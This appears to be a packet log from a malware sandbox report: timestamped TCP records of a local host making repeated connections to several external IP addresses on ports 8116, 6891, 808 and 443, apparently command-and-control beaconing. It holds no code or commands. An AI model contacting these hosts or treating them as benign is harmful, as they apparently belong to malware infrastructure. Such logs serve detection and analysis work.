Oct 28, 2021 04:52:51.190103054 CEST	50010	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:51.230956078 CEST	6891	50008	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:51.233131886 CEST	6891	50007	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:51.233505964 CEST	8116	50009	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:51.233642101 CEST	50009	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:51.234936953 CEST	50009	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:51.243566990 CEST	8116	50010	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:51.243762970 CEST	50010	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:51.244429111 CEST	50010	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:51.283340931 CEST	8116	50009	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:51.283538103 CEST	8116	50009	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:51.283627987 CEST	50009	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:51.284226894 CEST	50009	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:51.288677931 CEST	50009	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:51.288810968 CEST	50009	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:51.297853947 CEST	8116	50010	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:51.298074007 CEST	8116	50010	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:51.298154116 CEST	50010	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:51.298717022 CEST	50010	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:51.302392960 CEST	50010	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:51.302521944 CEST	50010	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:51.337255001 CEST	8116	50009	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:51.337285995 CEST	8116	50009	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:51.356473923 CEST	8116	50010	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:51.356498957 CEST	8116	50010	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:51.522063017 CEST	8116	50009	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:51.522092104 CEST	8116	50009	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:51.522176027 CEST	50009	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:51.525580883 CEST	50009	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:51.528675079 CEST	8116	50010	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:51.528695107 CEST	8116	50010	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:51.528793097 CEST	50010	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:51.535979986 CEST	50010	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:51.574153900 CEST	8116	50009	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:51.589447021 CEST	8116	50010	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:51.637120962 CEST	50011	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:51.637173891 CEST	443	50011	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:51.637283087 CEST	50011	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:51.638638020 CEST	50011	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:51.638660908 CEST	443	50011	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:51.655386925 CEST	50012	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:51.655435085 CEST	443	50012	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:51.655630112 CEST	50012	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:51.656508923 CEST	50012	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:51.656536102 CEST	443	50012	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:52.152049065 CEST	443	50012	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:52.152281046 CEST	50012	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:52.152988911 CEST	50012	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:52.153006077 CEST	443	50012	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:52.160109043 CEST	50012	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:52.160126925 CEST	443	50012	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:52.160332918 CEST	50012	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:52.160351038 CEST	443	50012	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:52.162372112 CEST	443	50011	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:52.162539005 CEST	50011	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:52.163503885 CEST	50011	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:52.163520098 CEST	443	50011	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:52.172240973 CEST	50011	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:52.172280073 CEST	443	50011	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:52.172430038 CEST	50011	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:52.172449112 CEST	443	50011	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:52.849148989 CEST	443	50012	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:52.849246979 CEST	443	50012	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:52.849512100 CEST	50012	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:52.857584000 CEST	50012	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:52.857623100 CEST	443	50012	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:52.882778883 CEST	443	50011	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:52.882878065 CEST	50011	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:52.882882118 CEST	443	50011	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:52.882940054 CEST	50011	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:52.886003971 CEST	50011	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:52.886023998 CEST	443	50011	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:52.999272108 CEST	50013	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:53.017317057 CEST	50014	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:53.159935951 CEST	808	50013	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:53.160039902 CEST	50013	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:53.160680056 CEST	50013	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:53.181520939 CEST	808	50014	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:53.181642056 CEST	50014	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:53.182365894 CEST	50014	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:53.321039915 CEST	808	50013	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:53.321194887 CEST	808	50013	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:53.321294069 CEST	50013	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:53.321855068 CEST	50013	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:53.325767040 CEST	50013	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:53.325886965 CEST	50013	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:53.347851038 CEST	808	50014	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:53.347973108 CEST	808	50014	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:53.348051071 CEST	50014	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:53.348649025 CEST	50014	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:53.355788946 CEST	50014	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:53.355912924 CEST	50014	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:53.482925892 CEST	808	50013	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:53.486608982 CEST	808	50013	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:53.486646891 CEST	808	50013	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:53.512767076 CEST	808	50014	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:53.519979000 CEST	808	50014	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:53.520728111 CEST	808	50014	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:53.520807981 CEST	808	50014	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:53.867573977 CEST	808	50013	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:53.867602110 CEST	808	50013	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:53.867728949 CEST	50013	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:53.867753029 CEST	50013	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:53.870002985 CEST	50013	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:53.902384043 CEST	808	50014	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:53.902419090 CEST	808	50014	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:53.902537107 CEST	50014	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:53.908283949 CEST	50014	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:54.012882948 CEST	50015	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:54.030545950 CEST	808	50013	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:54.032201052 CEST	50016	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:54.072438955 CEST	808	50014	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:54.179353952 CEST	6891	50015	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:54.180454969 CEST	50015	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:54.181561947 CEST	50015	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:54.198544979 CEST	6891	50016	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:54.199157953 CEST	50016	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:54.199950933 CEST	50016	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:54.347934008 CEST	6891	50015	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:54.347964048 CEST	6891	50015	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:54.348084927 CEST	50015	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:54.348773956 CEST	50015	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:54.351960897 CEST	50015	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:54.352067947 CEST	50015	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:54.366282940 CEST	6891	50016	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:54.366323948 CEST	6891	50016	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:54.367588997 CEST	50016	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:54.368278027 CEST	50016	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:54.372411966 CEST	50016	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:54.373569965 CEST	50016	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:54.518608093 CEST	6891	50015	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:54.518661022 CEST	6891	50015	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:54.539875984 CEST	6891	50016	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:54.539900064 CEST	6891	50016	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:54.900113106 CEST	6891	50015	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:54.900146961 CEST	6891	50015	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:54.900286913 CEST	50015	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:54.903203964 CEST	50015	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:54.903219938 CEST	50015	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:54.922400951 CEST	6891	50016	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:54.922435045 CEST	6891	50016	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:54.922483921 CEST	50016	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:54.922514915 CEST	50016	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:54.931315899 CEST	50016	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:55.047431946 CEST	50017	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:55.069917917 CEST	6891	50015	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:55.073331118 CEST	50018	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:55.095591068 CEST	8116	50017	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:55.095755100 CEST	50017	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:55.096379995 CEST	50017	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:55.097810984 CEST	6891	50016	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:55.126374006 CEST	8116	50018	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:55.126477957 CEST	50018	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:55.127191067 CEST	50018	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:55.144073963 CEST	8116	50017	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:55.144263029 CEST	8116	50017	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:55.144347906 CEST	50017	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:55.144869089 CEST	50017	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:55.148722887 CEST	50017	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:55.148879051 CEST	50017	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:55.179982901 CEST	8116	50018	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:55.180176020 CEST	8116	50018	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:55.180243015 CEST	50018	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:55.180732012 CEST	50018	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:55.184664011 CEST	50018	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:55.184765100 CEST	50018	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:55.196732998 CEST	8116	50017	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:55.196962118 CEST	8116	50017	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:55.234074116 CEST	8116	50017	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:55.237473965 CEST	8116	50018	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:55.238347054 CEST	8116	50018	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:55.367825985 CEST	8116	50017	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:55.367861986 CEST	8116	50017	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:55.367942095 CEST	50017	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:55.367983103 CEST	50017	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:55.373636007 CEST	50017	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:55.421464920 CEST	8116	50017	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:55.422171116 CEST	8116	50018	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:55.422220945 CEST	8116	50018	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:55.422319889 CEST	50018	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:55.422413111 CEST	50018	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:55.428709030 CEST	50018	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:55.482299089 CEST	8116	50018	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:55.499594927 CEST	50019	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:55.499654055 CEST	443	50019	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:55.499768019 CEST	50019	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:55.500718117 CEST	50019	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:55.500751019 CEST	443	50019	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:55.574548960 CEST	50020	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:55.574592113 CEST	443	50020	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:55.574707031 CEST	50020	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:55.575403929 CEST	50020	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:55.575416088 CEST	443	50020	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:55.988842964 CEST	443	50019	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:55.989017010 CEST	50019	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:55.989842892 CEST	50019	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:55.989860058 CEST	443	50019	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:55.996742964 CEST	50019	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:55.996779919 CEST	443	50019	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:55.996814013 CEST	50019	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:55.996824980 CEST	443	50019	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:56.089818954 CEST	443	50020	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:56.089909077 CEST	50020	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:56.090487003 CEST	50020	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:56.090500116 CEST	443	50020	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:56.096319914 CEST	50020	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:56.096333027 CEST	443	50020	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:56.096463919 CEST	50020	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:56.096471071 CEST	443	50020	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:56.686070919 CEST	443	50019	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:56.686167955 CEST	443	50019	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:56.686197996 CEST	50019	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:56.686239958 CEST	50019	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:56.694677114 CEST	50019	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:56.694719076 CEST	443	50019	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:56.801793098 CEST	443	50020	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:56.801876068 CEST	443	50020	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:56.801913023 CEST	50020	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:56.801938057 CEST	50020	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:56.806929111 CEST	50020	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:56.806962967 CEST	443	50020	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:56.818017960 CEST	50021	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:56.917735100 CEST	50022	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:56.980485916 CEST	808	50021	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:56.980588913 CEST	50021	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:56.981168032 CEST	50021	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:57.077709913 CEST	808	50022	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:57.078183889 CEST	50022	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:57.078557968 CEST	50022	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:57.143181086 CEST	808	50021	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:57.143300056 CEST	808	50021	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:57.143378973 CEST	50021	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:57.144026995 CEST	50021	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:57.148608923 CEST	50021	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:57.148749113 CEST	50021	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:57.238246918 CEST	808	50022	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:57.238286018 CEST	808	50022	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:57.238456011 CEST	50022	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:57.239243984 CEST	50022	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:57.246088028 CEST	50022	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:57.246260881 CEST	50022	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:57.306056023 CEST	808	50021	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:57.310592890 CEST	808	50021	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:57.310625076 CEST	808	50021	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:57.310636044 CEST	808	50021	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:57.310724974 CEST	808	50021	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:57.310745001 CEST	808	50021	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:57.398956060 CEST	808	50022	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:57.405749083 CEST	808	50022	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:57.405844927 CEST	808	50022	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:57.405869961 CEST	808	50022	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:57.696228981 CEST	808	50021	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:57.696260929 CEST	808	50021	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:57.696377039 CEST	50021	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:57.701740026 CEST	50021	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:57.791034937 CEST	808	50022	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:57.791063070 CEST	808	50022	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:57.791209936 CEST	50022	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:57.791254044 CEST	50022	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:57.796485901 CEST	50022	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:57.820751905 CEST	50023	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:57.863945007 CEST	808	50021	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:57.917269945 CEST	50024	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:57.956248999 CEST	808	50022	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:57.986181974 CEST	6891	50023	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:57.986299038 CEST	50023	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:57.987453938 CEST	50023	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:58.082695007 CEST	6891	50024	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:58.082850933 CEST	50024	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:58.083622932 CEST	50024	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:58.152781010 CEST	6891	50023	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:58.152842045 CEST	6891	50023	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:58.153003931 CEST	50023	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:58.153808117 CEST	50023	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:58.160613060 CEST	50023	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:58.160778046 CEST	50023	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:58.248933077 CEST	6891	50024	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:58.248959064 CEST	6891	50024	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:58.249850035 CEST	50024	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:58.250721931 CEST	50024	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:58.257126093 CEST	50024	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:58.257282972 CEST	50024	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:58.325917006 CEST	6891	50023	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:58.325946093 CEST	6891	50023	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:58.325953960 CEST	6891	50023	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:58.422528982 CEST	6891	50024	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:58.422558069 CEST	6891	50024	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:58.422565937 CEST	6891	50024	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:58.722182989 CEST	6891	50023	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:58.722215891 CEST	6891	50023	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:58.722498894 CEST	50023	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:58.732583046 CEST	50023	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:58.818245888 CEST	6891	50024	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:58.818274021 CEST	6891	50024	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:58.818552971 CEST	50024	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:58.825568914 CEST	50024	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:58.856081963 CEST	50025	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:58.898596048 CEST	6891	50023	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:58.910032034 CEST	8116	50025	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:58.910139084 CEST	50025	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:58.910840034 CEST	50025	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:58.949023962 CEST	50026	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:58.964601994 CEST	8116	50025	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:58.964704990 CEST	8116	50025	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:58.964786053 CEST	50025	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:58.965339899 CEST	50025	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:58.968992949 CEST	50025	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:58.969100952 CEST	50025	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:58.991439104 CEST	6891	50024	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:59.008043051 CEST	8116	50026	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:59.008167028 CEST	50026	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:59.009097099 CEST	50026	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:59.026233912 CEST	8116	50025	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:59.026412010 CEST	8116	50025	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:59.067807913 CEST	8116	50026	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:59.068150997 CEST	8116	50026	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:59.068403959 CEST	50026	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:59.068952084 CEST	50026	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:59.072813988 CEST	50026	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:59.072921991 CEST	50026	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:59.131747007 CEST	8116	50026	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:59.132422924 CEST	8116	50026	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:59.212037086 CEST	8116	50025	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:59.212065935 CEST	8116	50025	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:59.212138891 CEST	50025	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:59.212162971 CEST	50025	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:59.218307018 CEST	50025	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:59.272063017 CEST	8116	50025	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:59.323807001 CEST	8116	50026	185.56.219.47	192.168.2.5
